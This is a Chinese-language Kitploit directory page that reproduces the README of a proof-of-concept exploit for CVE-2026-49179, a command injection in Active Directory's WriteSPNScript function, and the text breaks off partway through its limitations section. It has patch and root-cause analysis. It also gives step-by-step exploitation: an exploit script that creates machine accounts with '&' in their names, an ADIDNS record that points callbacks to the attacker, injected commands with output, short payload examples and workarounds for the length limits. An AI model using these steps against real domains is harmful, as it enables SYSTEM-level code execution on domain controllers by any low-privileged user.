Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — 针对 CVE-2026-49179 的概念验证与漏洞利用脚本,该漏洞是 Active Directory 的 WriteSPNScript 函数中的命令注入,可在域控制器上实现 SYSTEM 权限的远程代码执行。 | Kitploit
工具/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
权限提升漏洞分析漏洞利用渗透测试
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

针对 CVE-2026-49179 的概念验证与漏洞利用脚本,该漏洞是 Active Directory 的 WriteSPNScript 函数中的命令注入,可在域控制器上实现 SYSTEM 权限的远程代码执行。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
52541个月前尚未审核

CVE-2026-49179:Active Directory WriteSPNScript 命令注入

摘要

字段值
CVE IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77(命令注入)
受影响组件ntdsai.dll — WriteSPNScript 函数
受影响系统Windows Server 2016、2019、2022、2025(未打补丁)
攻击向量已认证的域用户(任意)
影响在域控制器上以 SYSTEM 权限远程执行代码
发布日期2026 年 8 月

漏洞描述

ntdsai.dll 中的 WriteSPNScript 函数在 Active Directory 维护操作期间为 SPN(服务主体名称)修复生成批处理脚本命令。该函数使用格式字符串构造 repadmin.exe /writespn 命令,但未能对可分辨名称(DN)参数进行清理,从而允许通过 & 字符(cmd.exe 命令分隔符)进行命令注入。

存在漏洞的格式字符串:

%ws\repadmin.exe /writespn %ws %ws %ws\r\n

参数:SystemDir、WriteOp(ADD/DELETE)、DN、SPN_value

DN 派生自机器账户的通用名称(CN),该名称在账户创建时设置。当创建机器账户时,如果其名称中包含 shell 元字符,这些字符会未经转义地流入生成的脚本。当 cmd.exe 执行该脚本时,& 充当命令分隔符,从而以 SYSTEM 权限执行攻击者控制的命令。

根本原因分析

验证缺口:SAMR 与 LDAP

Active Directory 有两种用于管理机器账户的主要协议:

协议字符验证Shell 元字符
LDAP(SPN 值)严格 — CONSTRAINT_ATT_TYPE 拒绝 & ; | ' \ $ ( )`阻止
SAMR(机器名称)宽松 — 验证基本账户名称格式允许:& ' \ $ ( ) ! space`

这种验证不对称是根本原因:

  • LDAP SPN 验证阻止 SPN 值中的所有危险字符(通过 SPN 注入是死路)
  • SAMR 账户创建允许 sAMAccountName 中的 shell 元字符,该名称成为 CN 并流入 DN
  • DN 未经净化即传递给 WriteSPNScript

易受攻击的代码(基础 ntdsai.dll)

在未修补的二进制文件中,地址 0x1802a98a0 处:

void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA 将 DN 直接格式化到输出缓冲区中。没有转义、没有引号、没有净化处理。

生成的输出(存在漏洞)

对于 CN=A&ping attacker&B 的机器:

C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe 将其解释为五条独立的语句:

#语句结果
1C:\...\repadmin.exe /writespn ADD CN=A失败(DN 被截断)
2ping attacker已注入 — 以 SYSTEM 身份执行
3B,CN=Computers,DC=... HOST/A失败(不是有效命令)
4ping attacker已注入 — 再次执行(来自 SPN 参数)
5B失败(不是有效命令)

注入的命令出现了两次 — 一次来自 DN 参数,一次来自 SPN 参数(该参数也包含机器名)。

补丁分析

修补后的 WriteSPNScript(大小:1477 → 2005 字节)做了三处更改:

1. 添加了转义函数

两个新的清理函数应用于 DN 和 SPN 两个参数:

  • EscapeForPowerShellSingleQuote() — 转义 ' 以防止从单引号字符串中逃逸
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — 为原生 argv 解析转义 " 之前的 \ 序列

2. 输出格式变更

基础版本(存在漏洞)修补后
函数StringCchPrintfA(ANSI)StringCchPrintfW(宽字符/Unicode)
引号处理无单引号包裹参数
输出repadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'

3. 移除了功能标志

较早的修订版本有一个功能标志 Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled 来控制该修复。在最终补丁中,该标志被移除 — 修复始终生效且无法禁用。

概念验证

测试环境

主机角色IP操作系统
WINTERFELL域控制器192.168.56.11Windows Server 2019
攻击机Kali Linux192.168.14.238Kali 2026
域north.sevenkingdoms.local
低权限用户samwell.tarly / Heartsbane普通域用户
管理员用户robb.stark / sexywolfy域管理员

步骤 1:确认 SAMR 接受 Shell 元字符

使用 spn_probe3.py,测试了 SAMR 在机器账户名中接受哪些字符,以及 LDAP 在 SPN 值中接受哪些字符:

SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

关键发现:SAMR 允许所有 8 个测试过的 shell 元字符。LDAP 会阻止所有这些字符。注入向量是通过 SAMR 创建的机器名,而不是通过 SPN 值。

步骤 2:以普通域用户身份创建注入机器

$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

同样创建为 samwell.tarly:

[+] Created C&ping a&D$, RID: 1138

已确认:普通域用户(PR:L)可以在名称中使用 & 命令注入来创建机器账户。

步骤 3:为回调添加 DNS 记录(以普通用户身份)

普通域用户可以添加 ADIDNS 记录。使用 dnstool.py 创建一个指向攻击者的短主机名:

python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

在 DC 上验证解析:

*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

步骤 4:验证 DC 上的命令注入

模拟 WriteSPNScript 在 DC 上执行时会生成的精确输出:

文件写入证明:

*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

ICMP 回调验证:

*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

攻击者 tcpdump 确认 ICMP 到达:

02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

文件写入和 ICMP 回调均确认了通过 DN 实现的命令注入。

已证实的内容

步骤操作执行者结果
1SAMR 接受机器名中的 &samwell.tarly (PR:L)RID 1125、1137、1138
2LDAP 拒绝 SPN 值中的 &samwell.tarly100% 拒绝
3为回调创建 DNS 记录samwell.tarly (PR:L)a → 192.168.14.238
4创建带注入 CN 的机器账户samwell.tarly (PR:L)A&echo POC&B$、C&ping a&D$
5通过 cmd 注入实现文件写入DC(模拟 WriteSPNScript)proof.txt = "INJECTED"
6通过 cmd 注入实现 ICMP 回调DC(模拟 WriteSPNScript)收到 3 次 ping

障碍与限制

1. sAMAccountName 长度限制(约 15 个字符)

机器账户的 sAMAccountName 在末尾 $ 之前限制为约 15 个字符(NetBIOS 兼容性约束)。这严重限制了载荷的复杂度。

影响:无法直接在机器名中嵌入 IP 地址、长命令或复杂载荷。

变通方法:使用短 DNS 主机名进行回调(例如,单字符 a 解析到攻击者 IP)。载荷必须简短:

  • A&ping a&B(11 个字符)— ICMP 回调
  • A&echo X&B(11 个字符)— 执行证明
  • A&calc&B(8 个字符)— DC 上的 GUI 证明
  • A&whoami&B(11 个字符)— 上下文确认

2. SAMR 拒绝某些字符

虽然 SAMR 接受 shell 元字符(& ' \ $ ( ) ! space`),但它拒绝文件路径和网络地址所需的字符:

被拒绝被阻止的用途
.(句点)IP 地址(192.168.1.1)、FQDN
\(反斜杠)Windows 路径(C:\Windows\...)
/(正斜杠)URL 路径、Unix 路径
:(冒号)驱动器号(C:)、端口号
"(双引号)载荷中的引号/转义
< > | ; , = + * ?重定向、管道、通配符

影响:无法在载荷中直接使用 IP 地址、文件路径或 URL。

变通方法:

  • 创建指向攻击者的短 ADIDNS 记录(普通域用户可以执行此操作)
  • 使用环境变量(%TEMP%、%SYSTEMROOT%)— 不过 % 是否被接受尚未确认
  • 使用基于主机名的寻址而非 IP

3. WriteSPNScript 触发并非即时

下载工具